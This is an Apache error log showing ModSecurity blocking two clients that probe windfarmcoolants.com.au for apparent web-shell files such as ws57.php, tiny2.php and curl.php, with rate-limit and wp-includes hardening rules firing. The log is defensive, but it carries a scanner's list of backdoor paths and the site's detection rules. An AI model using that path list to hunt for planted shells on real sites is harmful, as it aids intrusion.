[Sat Apr 18 07:38:43.399756 2026] [:error] [pid 13023:tid 13041] [client 4.235.108.154:61638] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aeLEg_1e7hG8DAeABB8v5wAAARA"]
[Sat Apr 18 07:38:45.312975 2026] [:error] [pid 9970:tid 9981] [client 4.235.108.154:61844] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aeLEhSYdRLRhVmaIMx35mQAAAMc"]
[Sat Apr 18 07:38:47.954771 2026] [:error] [pid 9863:tid 9887] [client 4.235.108.154:60579] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeLEhzjjiypiFrTucbIkYAAAAA4"]
[Sat Apr 18 07:38:51.165597 2026] [:error] [pid 34290:tid 34343] [client 4.235.108.154:63560] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeLEixqX6WpmmAXOBi9krgAAAdg"]
[Sat Apr 18 07:38:53.882773 2026] [:error] [pid 34288:tid 34306] [client 4.235.108.154:54556] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeLEjeTIiy__PtiLmpkxXAAAAY4"]
[Sat Apr 18 07:38:54.964815 2026] [:error] [pid 34237:tid 34243] [client 4.235.108.154:57286] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeLEjhBmX4Wq5a6rxfbZwAAAAUQ"]
[Sat Apr 18 07:38:56.179615 2026] [:error] [pid 34288:tid 34308] [client 4.235.108.154:10883] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "aeLEkOTIiy__PtiLmpkxYAAAAZA"]
[Sat Apr 18 07:38:58.391827 2026] [:error] [pid 13023:tid 13026] [client 4.235.108.154:63552] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "aeLEkv1e7hG8DAeABB8wDAAAAQE"]
[Sat Apr 18 07:38:59.864398 2026] [:error] [pid 9865:tid 9949] [client 4.235.108.154:60590] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "aeLEk6zb5knECIY-C-jLDQAAAIw"]
[Sat Apr 18 07:39:01.955581 2026] [:error] [pid 9865:tid 9961] [client 4.235.108.154:61662] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "aeLElazb5knECIY-C-jLEQAAAJg"]
[Sat Apr 18 07:39:03.691320 2026] [:error] [pid 34288:tid 34311] [client 4.235.108.154:60544] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws66.php"] [unique_id "aeLEl-TIiy__PtiLmpkxagAAAZM"]
[Sat Apr 18 07:39:05.731688 2026] [:error] [pid 9865:tid 9955] [client 4.235.108.154:61833] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws66.php"] [unique_id "aeLEmazb5knECIY-C-jLGAAAAJI"]
[Sat Apr 18 07:39:07.659554 2026] [:error] [pid 34288:tid 34305] [client 4.235.108.154:10913] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws66.php"] [unique_id "aeLEm-TIiy__PtiLmpkxdwAAAY0"]
[Sat Apr 18 07:39:10.434246 2026] [:error] [pid 34288:tid 34305] [client 4.235.108.154:15111] File does not exist: /usr/local/apache/htdocs/suspended-page/ws66.php
[Sat Apr 18 07:39:10.697058 2026] [:error] [pid 34288:tid 34295] [client 4.235.108.154:15111] File does not exist: /usr/local/apache/htdocs/suspended-page/ws80.php
[Sat Apr 18 07:39:10.960086 2026] [:error] [pid 34288:tid 34301] [client 4.235.108.154:15111] File does not exist: /usr/local/apache/htdocs/suspended-page/xynz.php
[Sat Apr 18 07:39:11.222549 2026] [:error] [pid 34288:tid 34300] [client 4.235.108.154:15111] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-01ul.php
[Sat Apr 18 07:39:11.485206 2026] [:error] [pid 34288:tid 34310] [client 4.235.108.154:15111] File does not exist: /usr/local/apache/htdocs/suspended-page/e7.php
[Sat Apr 18 07:39:11.768166 2026] [:error] [pid 34288:tid 34298] [client 4.235.108.154:15111] File does not exist: /usr/local/apache/htdocs/suspended-page/e3.php
[Sat Apr 18 07:39:12.030604 2026] [:error] [pid 34288:tid 34313] [client 4.235.108.154:15111] File does not exist: /usr/local/apache/htdocs/suspended-page/aevly.php
[Sat Apr 18 07:39:12.292339 2026] [:error] [pid 34288:tid 34306] [client 4.235.108.154:15111] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Sat Apr 18 07:39:12.569296 2026] [:error] [pid 34288:tid 34293] [client 4.235.108.154:15111] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Sat Apr 18 07:39:12.845930 2026] [:error] [pid 34288:tid 34312] [client 4.235.108.154:15111] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Sat Apr 18 07:39:13.113799 2026] [:error] [pid 34288:tid 34304] [client 4.235.108.154:15111] File does not exist: /usr/local/apache/htdocs/suspended-page/d.php
[Sat Apr 18 07:39:13.466565 2026] [:error] [pid 34288:tid 34296] [client 4.235.108.154:15111] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "aeLEoeTIiy__PtiLmpkxmQAAAYQ"]
[Sat Apr 18 07:39:18.463980 2026] [:error] [pid 9863:tid 9887] [client 4.235.108.154:61645] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "aeLEpjjjiypiFrTucbIkcAAAAA4"]
[Sat Apr 18 07:39:22.243283 2026] [:error] [pid 34237:tid 34257] [client 4.235.108.154:61685] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "aeLEqhBmX4Wq5a6rxfbZ0AAAAVI"]
[Sat Apr 18 07:39:26.174625 2026] [:error] [pid 9970:tid 9997] [client 4.235.108.154:60594] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "aeLEriYdRLRhVmaIMx35zAAAANc"]
[Sat Apr 18 07:39:28.775604 2026] [:error] [pid 13023:tid 13041] [client 4.235.108.154:10937] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeLEsP1e7hG8DAeABB8wKQAAARA"]
[Sat Apr 18 07:39:32.216961 2026] [:error] [pid 34290:tid 34339] [client 4.235.108.154:33906] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeLEtBqX6WpmmAXOBi9k7wAAAdQ"]
[Sat Apr 18 07:39:35.009883 2026] [:error] [pid 34237:tid 34263] [client 4.235.108.154:61836] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeLEtxBmX4Wq5a6rxfbZ2AAAAVg"]
[Sat Apr 18 07:39:37.358988 2026] [:error] [pid 9970:tid 9974] [client 4.235.108.154:61644] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeLEuSYdRLRhVmaIMx357wAAAMA"]
[Sat Apr 18 07:39:40.378809 2026] [:error] [pid 9970:tid 9984] [client 4.235.108.154:63612] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/curl.php"] [unique_id "aeLEvCYdRLRhVmaIMx359gAAAMo"]
[Sat Apr 18 07:39:43.878298 2026] [:error] [pid 34237:tid 34257] [client 4.235.108.154:64573] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/curl.php"] [unique_id "aeLEvxBmX4Wq5a6rxfbZ3wAAAVI"]
[Sat Apr 18 07:39:46.068931 2026] [:error] [pid 9864:tid 9914] [client 4.235.108.154:56777] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/curl.php"] [unique_id "aeLEwoCFeowknfXHM7lTTwAAAEg"]
[Sat Apr 18 07:39:47.504914 2026] [:error] [pid 9864:tid 9917] [client 4.235.108.154:60937] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/curl.php"] [unique_id "aeLEw4CFeowknfXHM7lTUAAAAEs"]
[Sat Apr 18 07:39:50.172191 2026] [:error] [pid 9865:tid 9952] [client 4.235.108.154:60567] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "aeLExqzb5knECIY-C-jLLgAAAI8"]
[Sat Apr 18 07:39:52.314296 2026] [:error] [pid 34290:tid 34334] [client 4.235.108.154:62310] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "aeLEyBqX6WpmmAXOBi9k_gAAAc8"]
[Sat Apr 18 07:39:54.149210 2026] [:error] [pid 9970:tid 9981] [client 4.235.108.154:54558] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "aeLEyiYdRLRhVmaIMx35_wAAAMc"]
[Sat Apr 18 07:39:59.305891 2026] [:error] [pid 13023:tid 13047] [client 4.235.108.154:55267] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "aeLEz_1e7hG8DAeABB8wZQAAARY"]
[Sat Apr 18 07:40:02.722400 2026] [:error] [pid 13023:tid 13046] [client 4.235.108.154:59934] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aeLE0v1e7hG8DAeABB8wcAAAARU"]
[Sat Apr 18 07:40:12.987474 2026] [:error] [pid 13023:tid 13036] [client 4.235.108.154:59740] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aeLE3P1e7hG8DAeABB8wqQAAAQs"]
[Sat Apr 18 07:40:19.726163 2026] [:error] [pid 34237:tid 34244] [client 4.235.108.154:55822] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sat Apr 18 07:40:19.998941 2026] [:error] [pid 34237:tid 34240] [client 4.235.108.154:55822] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Sat Apr 18 07:40:20.263369 2026] [:error] [pid 34237:tid 34255] [client 4.235.108.154:55822] File does not exist: /usr/local/apache/htdocs/suspended-page/goods_260325043000.php
[Sat Apr 18 07:40:20.542573 2026] [:error] [pid 34237:tid 34258] [client 4.235.108.154:55822] File does not exist: /usr/local/apache/htdocs/suspended-page/goods_260401065719.php
[Sat Apr 18 08:42:06.521769 2026] [:error] [pid 9863:tid 9890] [client 4.212.95.215:49098] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Sat Apr 18 08:42:06.760635 2026] [:error] [pid 9863:tid 9877] [client 4.212.95.215:49098] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Sat Apr 18 08:42:06.998942 2026] [:error] [pid 9863:tid 9885] [client 4.212.95.215:49098] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Sat Apr 18 08:42:07.238824 2026] [:error] [pid 9863:tid 9875] [client 4.212.95.215:49098] File does not exist: /usr/local/apache/htdocs/suspended-page/mifta.php
[Sat Apr 18 08:42:07.486887 2026] [:error] [pid 9863:tid 9879] [client 4.212.95.215:49098] File does not exist: /usr/local/apache/htdocs/suspended-page/Geforce.php
[Sat Apr 18 08:42:07.741888 2026] [:error] [pid 9863:tid 9894] [client 4.212.95.215:49098] File does not exist: /usr/local/apache/htdocs/suspended-page/packsin1.php
[Sat Apr 18 08:42:07.999667 2026] [:error] [pid 9863:tid 9880] [client 4.212.95.215:49098] File does not exist: /usr/local/apache/htdocs/suspended-page/xs.php
[Sat Apr 18 08:42:08.303300 2026] [:error] [pid 9863:tid 9881] [client 4.212.95.215:49098] File does not exist: /usr/local/apache/htdocs/suspended-page/son1.php
[Sat Apr 18 08:42:08.538782 2026] [:error] [pid 9863:tid 9895] [client 4.212.95.215:49098] [client 4.212.95.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeLTYDjjiypiFrTucbIwgAAAABY"]
[Sat Apr 18 08:42:09.363580 2026] [:error] [pid 13023:tid 13031] [client 4.212.95.215:49144] File does not exist: /usr/local/apache/htdocs/suspended-page/aboute.php
[Sat Apr 18 08:42:09.823338 2026] [:error] [pid 13023:tid 13031] [client 4.212.95.215:49144] File does not exist: /usr/local/apache/htdocs/suspended-page/pp.php
[Sat Apr 18 08:42:10.061528 2026] [:error] [pid 13023:tid 13038] [client 4.212.95.215:49144] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeLTYv1e7hG8DAeABB9PbwAAAQ0"]
[Sat Apr 18 08:42:12.369672 2026] [:error] [pid 34237:tid 34258] [client 4.212.95.215:49125] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeLTZBBmX4Wq5a6rxfbpuwAAAVM"]
[Sat Apr 18 08:42:13.859362 2026] [:error] [pid 34237:tid 34254] [client 4.212.95.215:6080] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeLTZRBmX4Wq5a6rxfbpwQAAAU8"]
[Sat Apr 18 08:42:14.876119 2026] [:error] [pid 9863:tid 9890] [client 4.212.95.215:49141] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeLTZjjjiypiFrTucbIwlwAAABE"]
[Sat Apr 18 08:42:16.724172 2026] [:error] [pid 9865:tid 9960] [client 4.212.95.215:6102] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeLTaKzb5knECIY-C-jXqgAAAJc"]
[Sat Apr 18 08:42:17.999469 2026] [:error] [pid 9863:tid 9883] [client 4.212.95.215:49126] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeLTaTjjiypiFrTucbIwngAAAAo"]
[Sat Apr 18 08:42:18.727283 2026] [:error] [pid 13023:tid 13025] [client 4.212.95.215:49123] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeLTav1e7hG8DAeABB9PjAAAAQA"]
[Sat Apr 18 08:42:20.215486 2026] [:error] [pid 34290:tid 34339] [client 4.212.95.215:49112] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeLTbBqX6WpmmAXOBi95OwAAAdQ"]
[Sat Apr 18 08:42:21.564364 2026] [:error] [pid 34237:tid 34257] [client 4.212.95.215:6100] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeLTbRBmX4Wq5a6rxfbpygAAAVI"]
[Sat Apr 18 08:42:22.399437 2026] [:error] [pid 34290:tid 34333] [client 4.212.95.215:6129] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeLTbhqX6WpmmAXOBi95PAAAAc4"]
[Sat Apr 18 08:42:23.865026 2026] [:error] [pid 9863:tid 9881] [client 4.212.95.215:49091] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeLTbzjjiypiFrTucbIwpgAAAAg"]
[Sat Apr 18 08:42:25.826555 2026] [:error] [pid 9863:tid 9886] [client 4.212.95.215:6122] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeLTcTjjiypiFrTucbIwrQAAAA0"]
[Sat Apr 18 08:42:28.200968 2026] [:error] [pid 9864:tid 9914] [client 4.212.95.215:49103] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeLTdICFeowknfXHM7lcmQAAAEg"]
[Sat Apr 18 08:42:31.033922 2026] [:error] [pid 34290:tid 34320] [client 4.212.95.215:49102] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeLTdxqX6WpmmAXOBi95SQAAAcE"]
[Sat Apr 18 08:42:34.308769 2026] [:error] [pid 34237:tid 34253] [client 4.212.95.215:49093] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeLTehBmX4Wq5a6rxfbp5wAAAU4"]
